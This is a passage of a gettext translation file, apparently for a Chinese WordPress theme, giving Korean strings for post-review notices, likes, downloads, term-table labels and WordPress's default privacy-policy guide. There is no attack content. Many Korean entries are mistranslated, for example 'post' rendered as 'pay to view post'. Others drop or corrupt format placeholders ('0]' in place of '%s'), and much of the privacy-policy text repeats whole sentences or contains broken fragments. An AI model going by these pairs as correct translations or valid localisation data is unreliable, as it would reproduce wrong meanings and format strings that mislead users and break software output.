#: Modules/Common/Post.php:267 Modules/Common/Post.php:415
#: Modules/Common/Post.php:488
#, php-format
msgid "待审%s请审核"
msgstr "보류 중 %s 검토해 주세요"

#: Modules/Common/Post.php:269 Modules/Common/Post.php:337
#: Modules/Common/Post.php:417 Modules/Common/Post.php:490
#, php-format
msgid "%s提交了待审%s"
msgstr "%s 검토를 위해 제출됨 %s"

#: Modules/Common/Post.php:287 Modules/Common/Post.php:434
#: Modules/Common/Post.php:522
#, fuzzy, php-format
#| msgid "审核成功"
msgid "%s审核成功"
msgstr "성공적인 검토"

#: Modules/Common/Post.php:289 Modules/Common/Post.php:436
#: Modules/Common/Post.php:524
#, php-format
msgid "您提交的%s审核成功：%s"
msgstr "검토를 위해 %s을 성공적으로 제출했습니다: %s"

#: Modules/Common/Post.php:308
#, fuzzy, php-format
msgid "您发布了一个%s：${post_id}"
msgstr "게시한 %s: ${post_id}"

#: Modules/Common/Post.php:310 Modules/Common/Post.php:389
#: Modules/Common/Post.php:468
#, fuzzy
msgid "发帖奖励"
msgstr "보상 게시"

#: Modules/Common/Post.php:335
#, php-format
msgid "待审%s帖子请审核"
msgstr "검토 대기 중 %s 검토할 게시물"

#: Modules/Common/Post.php:338
#, fuzzy
#| msgid "所有人"
msgid "有人"
msgstr "모두에게 표시"

#: Modules/Common/Post.php:339 functions.php:1735 functions.php:1736
#: functions.php:1737 functions.php:1739
#, fuzzy
msgid "帖子"
msgstr "게시물을 보려면 지불"

#: Modules/Common/Post.php:357
#, fuzzy, php-format
#| msgid "审核成功"
msgid "%s帖子审核成功"
msgstr "성공적인 검토"

#: Modules/Common/Post.php:359
#, php-format
msgid "您提交的%s帖子审核成功：%s"
msgstr "제출한 %s 게시물이 성공적으로 검토되었습니다:%s"

#: Modules/Common/Post.php:387 Modules/Common/Post.php:466
#, fuzzy, php-format
msgid "您发布了一个%s帖子：${post_id}"
msgstr "%s개의 게시물을 작성했습니다: ${post_id}"

#: Modules/Common/Post.php:394 Modules/Common/Post.php:474
#, fuzzy, php-format
msgid "%s帖子"
msgstr "게시물 %s개"

#: Modules/Common/Post.php:505
msgid "您的帖子被删除，返还赏金"
msgstr "게시물이 삭제되었으며, 포상금이 환불되었습니다."

#: Modules/Common/Post.php:550
#, fuzzy
msgid "${from}回答了您的问题：${post_id}"
msgstr "%s이 서클에 가입했습니다."

#: Modules/Common/Post.php:552 TempParts/Ask/archive.php:47
#, fuzzy
#| msgid "回放"
msgid "回答"
msgstr "다시 하다"

#: Modules/Common/Post.php:576
#, fuzzy, php-format
msgid "恭喜您！%s审核通过。"
msgstr "축하합니다! %s이(가) 승인되었습니다."

#: Modules/Common/Post.php:629
msgid "无法创建 wp-content/uploads/qrcode 目录"
msgstr "wp-content / uploads / qrcode 디렉토리를 생성 할 수 없습니다."

#: Modules/Common/Post.php:652
msgid "刚刚"
msgstr "방금  %s"

#: Modules/Common/Post.php:655
msgid "小时前"
msgstr "한 시간 전에"

#: Modules/Common/Post.php:656
msgid "分钟前"
msgstr "몇분 전에"

#: Modules/Common/Post.php:657
msgid "秒前"
msgstr "초후 다시 발송 할수 있습니다."

#: Modules/Common/Post.php:676
#, fuzzy, php-format
#| msgid "%s年%s月%s日"
msgid "%s月%s日"
msgstr "%s년%s월%s일"

#: Modules/Common/Post.php:678 functions.php:2905
#, php-format
msgid "%s年%s月%s日"
msgstr "%s년%s월%s일"

#: Modules/Common/Post.php:1071
msgid "不能给自己投票"
msgstr "나 자신에게 투표 할 수 없습니다."

#: Modules/Common/Post.php:1092 Modules/Common/Post.php:1161
#, fuzzy, php-format
msgid "有${count}人不太认同您的%s：${post_id}"
msgstr "${count}명이 귀하의 %s에 동의하지 않음: ${post_id}"

#: Modules/Common/Post.php:1094 Modules/Common/Post.php:1106
#: Modules/Common/Post.php:1163 Modules/Common/Post.php:1175
#, fuzzy
msgid "取消点赞"
msgstr "같지 않은"

#: Modules/Common/Post.php:1104 Modules/Common/Post.php:1173
#, fuzzy, php-format
msgid "${from}不太喜欢你的%s：${post_id}"
msgstr "${from}은(는) 귀하의 %s을(를) 별로 좋아하지 않습니다: ${post_id}"

#: Modules/Common/Post.php:1122
#, fuzzy, php-format
msgid "有${count}人给您的%s点了赞：${post_id}"
msgstr "${count}명이 귀하의 %s을(를) 좋아했습니다: ${post_id}"

#: Modules/Common/Post.php:1124
#, fuzzy
msgid "点赞"
msgstr "댓글 '좋아요' 받기"

#: Modules/Common/Post.php:1135
#, fuzzy, php-format
msgid "${from}给你的%s点了赞：${post_id}"
msgstr "${from}이(가) %s을(를) 좋아함: ${post_id}"

#: Modules/Common/Post.php:1137
#, fuzzy, php-format
msgid "%s被点赞"
msgstr "%s이(가) 좋아요 표시됨"

#: Modules/Common/Post.php:1231
msgid "下载未开启"
msgstr "다운로드가 열리지 않음"

#: Modules/Common/Post.php:1236
msgid "没有下载资源"
msgstr "파일이 없습니다."

#: Modules/Common/Post.php:1307 Modules/Common/Post.php:1420
msgid "没有找到您要下载的资源"
msgstr "다운로드할 파일을 찾을수 없습니다."

#: Modules/Common/Post.php:1455
#, fuzzy
#| msgid "没有这个等级"
msgid "没有这个资源"
msgstr "이 수준이 아님"

#: Modules/Common/Post.php:1485
msgid "下载次数使用完毕"
msgstr "다운로드 시간 소진"

#: Modules/Common/Post.php:1508
#, fuzzy
#| msgid "支付过期，请重新发起"
msgid "网页时效过期，请重新发起"
msgstr "지불이 만료되었습니다. 다시 시작하십시오."

#: Modules/Common/Post.php:2106
msgid "删除失败"
msgstr "삭제하지 못했습니다"

#: Modules/Common/Post.php:2311
msgid "当前位置："
msgstr "현재 위치:"

#: Modules/Common/Private/normal/action.php:126
#: Modules/Common/Private/normal/action.php:553
msgid "Delete"
msgstr "삭제"

#: Modules/Common/Private/normal/action.php:148
#: Modules/Common/Private/normal/action.php:175
#: Modules/Common/Private/normal/action.php:727
msgctxt "term name"
msgid "Name"
msgstr "이름"

#: Modules/Common/Private/normal/action.php:149
#: Modules/Common/Private/normal/action.php:176
msgid "Description"
msgstr "설명"

#: Modules/Common/Private/normal/action.php:150
#: Modules/Common/Private/normal/action.php:177
#: Modules/Common/Private/normal/action.php:734
msgid "Slug"
msgstr "슬러그"

#: Modules/Common/Private/normal/action.php:154
#: Modules/Common/Private/normal/action.php:179
msgid "Links"
msgstr "링크"

#: Modules/Common/Private/normal/action.php:156
#: Modules/Common/Private/normal/action.php:178
msgctxt "Number/count of items"
msgid "Count"
msgstr "Count"

#: Modules/Common/Private/normal/action.php:169
msgid "Table ordered hierarchically."
msgstr "테이블은 계층적으로 정렬됩니다."

#: Modules/Common/Private/normal/action.php:171
msgid "Table ordered by Name."
msgstr "이름별로 정렬된 테이블."

#: Modules/Common/Private/normal/action.php:176
msgid "Table ordered by Description."
msgstr "설명을 기준으로 정렬된 표입니다."

#: Modules/Common/Private/normal/action.php:177
msgid "Table ordered by Slug."
msgstr "Slug가 주문한 테이블."

#: Modules/Common/Private/normal/action.php:178
msgid "Table ordered by Posts Count."
msgstr "글 수를 기준으로 정렬된 표입니다."

#: Modules/Common/Private/normal/action.php:179
msgid "Table ordered by Links."
msgstr "링크별로 정렬된 표입니다."

#. translators: Hidden accessibility text. %s: Taxonomy term name.
#: Modules/Common/Private/normal/action.php:419
#, php-format
msgid "Select %s"
msgstr "0]을 선택합니다."

#. translators: %s: Taxonomy term name.
#: Modules/Common/Private/normal/action.php:466
#, php-format
msgid "&#8220;%s&#8221; (Edit)"
msgstr "\"%s\" (수정)"

#. translators: %s: Taxonomy term name.
#: Modules/Common/Private/normal/action.php:534
#, php-format
msgid "Edit &#8220;%s&#8221;"
msgstr "\"%s\" 수정"

#: Modules/Common/Private/normal/action.php:535
#: Modules/Common/Private/normal/filter.php:761
msgid "Edit"
msgstr "편집"

#. translators: %s: Taxonomy term name.
#: Modules/Common/Private/normal/action.php:540
#, php-format
msgid "Quick edit &#8220;%s&#8221; inline"
msgstr "빠른 편집 \"%s\" 인라인"

#: Modules/Common/Private/normal/action.php:541
msgid "Quick&nbsp;Edit"
msgstr "빠른 편집"

#. translators: %s: Taxonomy term name.
#: Modules/Common/Private/normal/action.php:552
#, php-format
msgid "Delete &#8220;%s&#8221;"
msgstr "\"%s\" 삭제"

#. translators: %s: Taxonomy term name.
#: Modules/Common/Private/normal/action.php:562
#, php-format
msgid "View &#8220;%s&#8221; archive"
msgstr "\"%s\" 아카이브 보기"

#: Modules/Common/Private/normal/action.php:563
msgid "View"
msgstr "보기"

#. translators: Hidden accessibility text.
#: Modules/Common/Private/normal/action.php:611
msgid "No description"
msgstr "설명 없음"

#: Modules/Common/Private/normal/action.php:724
msgid "Quick Edit"
msgstr "빠른 편집"

#: Modules/Common/Private/normal/action.php:765
msgid "Cancel"
msgstr "취소"

#: Modules/Common/Private/normal/domain.php:517
msgid ""
"Need help putting together your new Privacy Policy page? Check out our guide "
"for recommendations on what content to include, along with policies "
"suggested by your plugins and theme."
msgstr ""
"새 개인정보처리방침 페이지를 작성하는 데 도움이 필요하신가요? 포함할 콘텐츠"
"에 대한 권장 사항과 플러그인 및 테마에서 제안하는 정책 권장 사항을 확인하세"
"요."

#: Modules/Common/Private/normal/domain.php:519
msgid "View Privacy Policy Guide."
msgstr "개인정보 처리방침 가이드 보기."

#. translators: Hidden accessibility text.
#: Modules/Common/Private/normal/domain.php:547
msgid "(opens in a new tab)"
msgstr "(새 탭에서 열기)"

#: Modules/Common/Private/normal/domain.php:565
msgid "F j, Y"
msgstr "F j, Y"

#. translators: %s: Date of plugin deactivation.
#: Modules/Common/Private/normal/domain.php:576
#, php-format
msgid "Removed %s."
msgstr "제거됨 %s."

#. translators: %s: Date of plugin deactivation.
#: Modules/Common/Private/normal/domain.php:579
#, php-format
msgid "You deactivated this plugin on %s and may no longer need this policy."
msgstr ""
"이 플러그인을 %s에서 비활성화했으며 이 정책이 더 이상 필요하지 않을 수 있습니"
"다."

#. translators: %s: Date of privacy policy text update.
#: Modules/Common/Private/normal/domain.php:585
#, php-format
msgid "Updated %s."
msgstr "업데이트됨 %s."

#: Modules/Common/Private/normal/domain.php:608
msgid "Copied!"
msgstr "복사 완료!"

#: Modules/Common/Private/normal/domain.php:610
msgid "Copy suggested policy text to clipboard"
msgstr "제안된 정책 텍스트를 클립보드에 복사"

#. translators: Hidden accessibility text. %s: Plugin name.
#: Modules/Common/Private/normal/domain.php:614
#, php-format
msgid "Copy suggested policy text from %s."
msgstr "0]에서 추천 정책 텍스트를 복사합니다."

#: Modules/Common/Private/normal/domain.php:636
msgid "Suggested text:"
msgstr "추천 텍스트."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:646
msgid "Who we are"
msgstr "당사는 누구인가"

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:650
msgid ""
"In this section you should note your site URL, as well as the name of the "
"company, organization, or individual behind it, and some accurate contact "
"information."
msgstr ""
"이 섹션에는 사이트 URL과 사이트 배후에 있는 회사, 조직 또는 개인의 이름, 정확"
"한 연락처 정보를 입력하세요."

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:652
msgid ""
"The amount of information you may be required to show will vary depending on "
"your local or national business regulations. You may, for example, be "
"required to display a physical address, a registered address, or your "
"company registration number."
msgstr ""
"표시해야 할 정보의 양은 지역 또는 국가의 비즈니스 규정에 따라 달라질 수 있습"
"니다. 예를 들어 다음과 같은 정보가 요구될 수 있습니다. 예를 들어 실제 주소, "
"등록 주소 또는 회사 등록 번호를 표시해야 할 수 있습니다."

#. translators: Default privacy policy text. %s: Site URL.
#: Modules/Common/Private/normal/domain.php:655
#, php-format
msgid "Our website address is: %s."
msgstr "당사 웹사이트 주소: %s."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:660
msgid "What personal data we collect and why we collect it"
msgstr "당사가 수집하는 개인 데이터 및 수집 이유"

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:662
msgid ""
"In this section you should note what personal data you collect from users "
"and site visitors. This may include personal data, such as name, email "
"address, personal account preferences; transactional data, such as purchase "
"information; and technical data, such as information about cookies."
msgstr ""
"이 섹션에서는 사용자 및 사이트 방문자로부터 수집하는 개인 데이터를 기록해야 "
"합니다. 여기에는 이름, 이메일 주소, 개인 계정 기본 설정과 같은 개인 데이터, "
"구매 정보와 같은 거래 데이터, 쿠키 관련 정보와 같은 기술 데이터가 포함될 수 "
"있습니다. 여기에는 이름, 이메일 주소, 개인 계정 기본 설정과 같은 개인 데이"
"터, 구매 정보와 같은 거래 데이터, 쿠키 관련 정보와 같은 기술 데이터가 포함될 "
"수 있습니다."

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:664
msgid ""
"You should also note any collection and retention of sensitive personal "
"data, such as data concerning health."
msgstr ""
"또한 건강 관련 데이터와 같은 민감한 개인 데이터의 수집 및 보유에 유의해야 합"
"니다."

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:666
msgid ""
"In addition to listing what personal data you collect, you need to note why "
"you collect it. These explanations must note either the legal basis for your "
"data collection and retention or the active consent the user has given."
msgstr ""
"수집하는 개인 데이터를 나열하는 것 외에도 수집하는 이유를 설명해야 합니다. 이"
"러한 설명에는 데이터 수집 및 보유의 법적 근거 또는 사용자가 제공한 적극적인 "
"동의가 명시되어야 합니다. 이러한 설명에는 데이터 수집 및 보유에 대한 법적 근"
"거 또는 사용자가 제공한 적극적인 동의가 명시되어야 합니다."

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:668
msgid ""
"Personal data is not just created by a user&#8217;s interactions with your "
"site. Personal data is also generated from technical processes such as "
"contact forms, comments, cookies, analytics, and third party embeds."
msgstr ""
"개인 데이터는 사용자와 사이트의 상호 작용으로만 생성되는 것이 아닙니다. 다음"
"과 같은 기술적 프로세스를 통해서도 개인 데이터가 생성됩니다. 문의 양식, 댓"
"글, 쿠키, 분석 및 타사 임베드와 같은 기술적 프로세스를 통해서도 생성됩니다."

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:670
msgid ""
"By default WordPress does not collect any personal data about visitors, and "
"only collects the data shown on the User Profile screen from registered "
"users. However some of your plugins may collect personal data. You should "
"add the relevant information below."
msgstr ""
"기본적으로 워드프레스에서는 방문자에 대한 개인 데이터를 수집하지 않으며, 등록"
"된 사용자로부터 사용자 프로필 화면에 표시된 데이터만 수집합니다. 그러나 일부 "
"플러그인은 개인 데이터를 수집할 수 있습니다. 아래에 관련 정보를 추가해야 합니"
"다."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:674
msgid "Comments"
msgstr "댓글"

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:678
msgid ""
"In this subsection you should note what information is captured through "
"comments. We have noted the data which WordPress collects by default."
msgstr ""
"이 하위 섹션에서는 댓글을 통해 캡처되는 정보에 주목해야 합니다. 워드프레스에"
"서 기본적으로 수집하는 데이터에 대해 설명했습니다."

#. translators: Default privacy policy text.
#: Modules/Common/Private/normal/domain.php:681
msgid ""
"When visitors leave comments on the site we collect the data shown in the "
"comments form, and also the visitor&#8217;s IP address and browser user "
"agent string to help spam detection."
msgstr ""
"방문자가 사이트에 댓글을 남기면 댓글 양식에 표시된 데이터와 방문자의 IP 주소 "
"및 브라우저 사용자를 수집합니다. 에이전트 문자열도 수집하여 스팸 탐지를 돕습"
"니다."

#. translators: Default privacy policy text.
#: Modules/Common/Private/normal/domain.php:683
msgid ""
"An anonymized string created from your email address (also called a hash) "
"may be provided to the Gravatar service to see if you are using it. The "
"Gravatar service privacy policy is available here: https://automattic.com/"
"privacy/. After approval of your comment, your profile picture is visible to "
"the public in the context of your comment."
msgstr ""
"이메일 주소에서 생성된 익명화된 문자열(해시라고도 함)이 Gravatar 서비스에 제"
"공되어 사용 여부를 확인할 수 있습니다. Gravatar 서비스 개인정보 처리방침은 여"
"기에서 확인할 수 있습니다: . 서비스 개인정보 처리방침은 여기에서 확인할 수 있"
"습니다: https://automattic.com/privacy/. 댓글이 승인되면 댓글의 맥락에서 프로"
"필 사진이 대중에게 공개됩니다."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:687
msgid "Media"
msgstr "미디어"

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:691
msgid ""
"In this subsection you should note what information may be disclosed by "
"users who can upload media files. All uploaded files are usually publicly "
"accessible."
msgstr ""
"이 하위 섹션에서는 미디어 파일을 업로드할 수 있는 사용자가 어떤 정보를 공개"
"할 수 있는지 확인해야 합니다. 업로드된 모든 파일은 일반적으로 공개적으로 액세"
"스할 수 있습니다. 업로드된 모든 파일은 일반적으로 공개적으로 액세스할 수 있습"
"니다."

#. translators: Default privacy policy text.
#: Modules/Common/Private/normal/domain.php:694
msgid ""
"If you upload images to the website, you should avoid uploading images with "
"embedded location data (EXIF GPS) included. Visitors to the website can "
"download and extract any location data from images on the website."
msgstr ""
"웹사이트에 이미지를 업로드하는 경우 임베디드 위치 데이터(EXIF GPS)가 포함된 "
"이미지는 업로드하지 않아야 합니다. 웹사이트 방문자는 다음을 수행할 수 있습니"
"다. 웹사이트 방문자는 웹사이트의 이미지에서 위치 데이터를 다운로드하여 추출"
"할 수 있습니다."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:699
msgid "Contact forms"
msgstr "문의 양식"

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:701
msgid ""
"By default, WordPress does not include a contact form. If you use a contact "
"form plugin, use this subsection to note what personal data is captured when "
"someone submits a contact form, and how long you keep it. For example, you "
"may note that you keep contact form submissions for a certain period for "
"customer service purposes, but you do not use the information submitted "
"through them for marketing purposes."
msgstr ""
"기본적으로 워드프레스에는 문의 양식이 포함되어 있지 않습니다. 문의 양식 플러"
"그인을 사용하는 경우 이 하위 섹션에서 어떤 개인 데이터가 언제 캡처되는지 기록"
"하세요. 문의 양식 플러그인을 사용하는 경우 이 하위 섹션을 사용하여 누군가가 "
"문의 양식을 제출할 때 어떤 개인 데이터가 캡처되는지, 그리고 얼마나 오래 보관"
"하는지 기록하세요. 예를 들어 고객 서비스 목적으로 특정 기간 동안 문의 양식 제"
"출을 보관하지만 이를 통해 제출된 정보는 마케팅 목적으로 사용하지 않는다고 기"
"록할 수 있습니다."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:705
msgid "Cookies"
msgstr "쿠키"

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:709
msgid ""
"In this subsection you should list the cookies your web site uses, including "
"those set by your plugins, social media, and analytics. We have provided the "
"cookies which WordPress installs by default."
msgstr ""
"이 하위 섹션에는 플러그인, 소셜 미디어 및 분석에서 설정한 쿠키를 포함하여 웹 "
"사이트에서 사용하는 쿠키를 나열해야 합니다. 워드프레스에서 기본적으로 설치하"
"는 쿠키를 제공했습니다. 워드프레스가 기본적으로 설치하는 쿠키"

#. translators: Default privacy policy text.
#: Modules/Common/Private/normal/domain.php:712
msgid ""
"If you leave a comment on our site you may opt-in to saving your name, email "
"address and website in cookies. These are for your convenience so that you "
"do not have to fill in your details again when you leave another comment. "
"These cookies will last for one year."
msgstr ""
"당사 사이트에 댓글을 남기면 이름, 이메일 주소, 웹사이트가 쿠키에 저장되도록 "
"선택할 수 있습니다. 이는 다른 댓글을 남길 때 세부 정보를 다시 입력할 필요가 "
"없도록 편의를 위한 것입니다. 이는 다른 댓글을 남길 때 다시 세부 정보를 입력"
"할 필요가 없도록 편의를 위한 것입니다. 이 쿠키는 1년간 유효합니다."

#. translators: Default privacy policy text.
#: Modules/Common/Private/normal/domain.php:714
msgid ""
"If you visit our login page, we will set a temporary cookie to determine if "
"your browser accepts cookies. This cookie contains no personal data and is "
"discarded when you close your browser."
msgstr ""
"로그인 페이지를 방문하면 브라우저가 쿠키를 허용하는지 확인하기 위해 임시 쿠키"
"를 설정합니다. 이 쿠키에는 개인 데이터가 포함되지 않으며 브라우저를 닫으면 브"
"라우저를 닫으면 삭제됩니다."

#. translators: Default privacy policy text.
#: Modules/Common/Private/normal/domain.php:716
msgid ""
"When you log in, we will also set up several cookies to save your login "
"information and your screen display choices. Login cookies last for two "
"days, and screen options cookies last for a year. If you select "
"&quot;Remember Me&quot;, your login will persist for two weeks. If you log "
"out of your account, the login cookies will be removed."
msgstr ""
"로그인하면 로그인 정보와 화면 표시 선택 사항을 저장하기 위해 여러 개의 쿠키"
"가 설정됩니다. 로그인 쿠키는 이틀 동안, 화면 옵션 쿠키는 1년 동안 지속됩니"
"다. '나를 기억하기'를 선택하면 2주간 로그인이 유지됩니다. 계정에서 로그아웃하"
"면 로그인 쿠키가 삭제됩니다. 계정에서 로그아웃하면 로그인 쿠키가 제거됩니다."

#. translators: Default privacy policy text.
#: Modules/Common/Private/normal/domain.php:718
msgid ""
"If you edit or publish an article, an additional cookie will be saved in "
"your browser. This cookie includes no personal data and simply indicates the "
"post ID of the article you just edited. It expires after 1 day."
msgstr ""
"글을 편집하거나 게시하면 브라우저에 추가 쿠키가 저장됩니다. 이 쿠키는 개인 데"
"이터를 포함하지 않으며 방금 편집한 글의 글 ID를 나타낼 뿐입니다. 이 쿠키는 개"
"인 데이터를 포함하지 않으며 방금 편집한 글의 글 ID를 표시할 뿐입니다."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:723
msgid "Embedded content from other websites"
msgstr "다른 웹사이트의 임베드된 콘텐츠"

#. translators: Default privacy policy text.
#: Modules/Common/Private/normal/domain.php:725
msgid ""
"Articles on this site may include embedded content (e.g. videos, images, "
"articles, etc.). Embedded content from other websites behaves in the exact "
"same way as if the visitor has visited the other website."
msgstr ""
"이 사이트의 글에는 임베드된 콘텐츠(예: 동영상, 이미지, 기사 등)가 포함될 수 "
"있습니다. 다른 웹사이트의 임베드된 콘텐츠는 방문자가 다른 웹사이트를 방문한 "
"것과 똑같은 방식으로 작동합니다."

#. translators: Default privacy policy text.
#: Modules/Common/Private/normal/domain.php:727
msgid ""
"These websites may collect data about you, use cookies, embed additional "
"third-party tracking, and monitor your interaction with that embedded "
"content, including tracking your interaction with the embedded content if "
"you have an account and are logged in to that website."
msgstr ""
"이러한 웹사이트는 계정이 있고 해당 웹사이트에 로그인한 경우 포함된 콘텐츠와"
"의 상호 작용 추적을 포함하여 귀하에 관한 데이터를 수집하고, 쿠키를 사용하고, "
"추가 타사 추적 기능을 내장하고, 포함된 콘텐츠와의 상호 작용을 모니터링할 수 "
"있습니다(계정이 있고 로그인한 경우 포함된 콘텐츠와의 상호 작용 추적 포함). 이"
"러한 웹사이트는 귀하에 대한 데이터를 수집하고, 쿠키를 사용하고, 추가 타사 추"
"적 기능을 내장하고, 계정이 있고 해당 웹사이트에 로그인한 경우 포함된 콘텐츠와"
"의 상호 작용 추적을 포함하여 해당 포함된 콘텐츠와의 상호 작용을 모니터링할 "
"수 있습니다(계정이 있고 해당 웹사이트에 로그인한 경우 해당 포함된 콘텐츠와의 "
"상호 작용 추적 포함)."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:732
msgid "Analytics"
msgstr "분석"

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:734
msgid ""
"In this subsection you should note what analytics package you use, how users "
"can opt out of analytics tracking, and a link to your analytics "
"provider&#8217;s privacy policy, if any."
msgstr ""
"이 하위 섹션에서는 사용하는 분석 패키지, 사용자가 분석 추적을 옵트아웃할 수 "
"있는 방법, 분석 제공업체의 개인정보처리방침 링크(있는 경우)를 기록해야 합니"
"다. 의 개인정보처리방침(있는 경우)을 참조하세요."

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:736
msgid ""
"By default WordPress does not collect any analytics data. However, many web "
"hosting accounts collect some anonymous analytics data. You may also have "
"installed a WordPress plugin that provides analytics services. In that case, "
"add information from that plugin here."
msgstr ""
"기본적으로 워드프레스에서는 분석 데이터를 수집하지 않습니다. 하지만 많은 웹호"
"스팅 계정에서 익명의 분석 데이터를 수집하기도 합니다. 분석 서비스를 제공하는 "
"워드프레스 플러그인을 설치했을 수도 있습니다. 이 경우 여기에서 해당 플러그인"
"의 정보를 추가하세요."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:740
msgid "Who we share your data with"
msgstr "당사가 귀하의 데이터를 공유하는 대상"

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:744
msgid ""
"In this section you should name and list all third party providers with whom "
"you share site data, including partners, cloud-based services, payment "
"processors, and third party service providers, and note what data you share "
"with them and why. Link to their own privacy policies if possible."
msgstr ""
"이 섹션에서는 파트너, 클라우드 기반 서비스, 결제 등 사이트 데이터를 공유하는 "
"모든 제3자 제공업체의 이름과 목록을 작성해야 합니다. 이 섹션에서는 파트너, 클"
"라우드 기반 서비스, 결제 처리업체, 타사 서비스 제공업체 등 사이트 데이터를 공"
"유하는 모든 타사 제공업체의 이름과 목록을 작성하고 어떤 데이터를 공유하는지, "
"그 이유는 무엇인지 기재해야 합니다."

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:746
msgid "By default WordPress does not share any personal data with anyone."
msgstr "기본적으로 워드프레스에서는 개인 데이터를 누구와도 공유하지 않습니다."

#. translators: Default privacy policy text.
#: Modules/Common/Private/normal/domain.php:749
msgid ""
"If you request a password reset, your IP address will be included in the "
"reset email."
msgstr ""
"비밀번호 재설정을 요청하면 재설정 이메일에 회원님의 IP 주소가 포함됩니다."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:753
msgid "How long we retain your data"
msgstr "당사가 귀하의 데이터를 보유하는 기간"

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:757
msgid ""
"In this section you should explain how long you retain personal data "
"collected or processed by the web site. While it is your responsibility to "
"come up with the schedule of how long you keep each dataset for and why you "
"keep it, that information does need to be listed here. For example, you may "
"want to say that you keep contact form entries for six months, analytics "
"records for a year, and customer purchase records for ten years."
msgstr ""
"이 섹션에서는 웹사이트에서 수집하거나 처리하는 개인 데이터를 얼마나 오래 보관"
"하는지 설명해야 합니다. 각 데이터 세트의 보관 기간과 보관 이유를 마련하는 것"
"은 귀하의 책임이지만 각 데이터 집합의 보관 기간과 보관 이유를 정하는 것은 회"
"원님의 책임이지만, 해당 정보는 여기에 기재해야 합니다. 예를 들어 문의 양식 항"
"목은 6개월, 분석 기록은 1년, 고객 구매 기록은 10년간 보관한다고 명시할 수 있"
"습니다."

#. translators: Default privacy policy text.
#: Modules/Common/Private/normal/domain.php:760
msgid ""
"If you leave a comment, the comment and its metadata are retained "
"indefinitely. This is so we can recognize and approve any follow-up comments "
"automatically instead of holding them in a moderation queue."
msgstr ""
"댓글을 남기면 댓글과 해당 메타데이터는 무기한 보관됩니다. 이는 후속 댓글을 검"
"토 대기열에 보관하는 대신 자동으로 인식하고 승인할 수 있도록 하기 위한 것입니"
"다. 검토 대기열에 보관하지 않고 자동으로 처리합니다."

#. translators: Default privacy policy text.
#: Modules/Common/Private/normal/domain.php:762
msgid ""
"For users that register on our website (if any), we also store the personal "
"information they provide in their user profile. All users can see, edit, or "
"delete their personal information at any time (except they cannot change "
"their username). Website administrators can also see and edit that "
"information."
msgstr ""
"당사 웹사이트에 등록하는 사용자(있는 경우)의 경우, 당사는 해당 사용자가 제공"
"한 개인정보도 사용자 프로필에 저장합니다. 모든 사용자는 다음을 확인, 편집 또"
"는 수정할 수 있습니다. 당사 웹사이트에 등록하는 사용자(있는 경우)의 경우, 당"
"사는 해당 사용자가 제공한 개인 정보도 사용자 프로필에 저장합니다. 웹사이트 관"
"리자도 해당 정보를 보고 편집할 수 있습니다."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:766
msgid "What rights you have over your data"
msgstr "데이터에 대한 사용자의 권리"

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:770
msgid ""
"In this section you should explain what rights your users have over their "
"data and how they can invoke those rights."
msgstr ""
"이 섹션에서는 사용자가 자신의 데이터에 대해 어떤 권한을 가지고 있으며 어떻게 "
"이러한 권한을 호출할 수 있는지 설명해야 합니다."

#. translators: Default privacy policy text.
#: Modules/Common/Private/normal/domain.php:773
msgid ""
"If you have an account on this site, or have left comments, you can request "
"to receive an exported file of the personal data we hold about you, "
"including any data you have provided to us. You can also request that we "
"erase any personal data we hold about you. This does not include any data we "
"are obliged to keep for administrative, legal, or security purposes."
msgstr ""
"이 사이트에 계정이 있거나 댓글을 남긴 경우 다음을 포함하여 당사가 보유한 귀하"
"에 관한 개인 데이터의 내보내기 파일 수신을 요청할 수 있습니다. 귀하는 또한 당"
"사가 보유한 귀하의 개인 데이터를 삭제하도록 요청할 수 있습니다. 여기에는 관"
"리, 법률 또는 보안 목적으로 보관해야 할 의무가 있는 데이터는 포함되지 않습니"
"다. 여기에는 관리, 법률 또는 보안 목적으로 보관해야 할 의무가 있는 데이터는 "
"포함되지 않습니다."

#. translators: Default privacy policy heading.
#: Modules/Common/Private/normal/domain.php:777
msgid "Where your data is sent"
msgstr "데이터가 전송되는 위치"

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:781
msgid ""
"In this section you should list all transfers of your site data outside the "
"European Union and describe the means by which that data is safeguarded to "
"European data protection standards. This could include your web hosting, "
"cloud storage, or other third party services."
msgstr ""
"이 섹션에서는 유럽 연합 외부로 전송되는 사이트 데이터를 모두 나열하고 해당 데"
"이터를 보호하는 수단을 설명해야 합니다. 여기에는 웹 호스팅, 클라우드 스토리"
"지 또는 기타 타사 서비스가 포함될 수 있습니다."

#. translators: Privacy policy tutorial.
#: Modules/Common/Private/normal/domain.php:783
msgid ""
"European data protection law requires data about European residents which is "
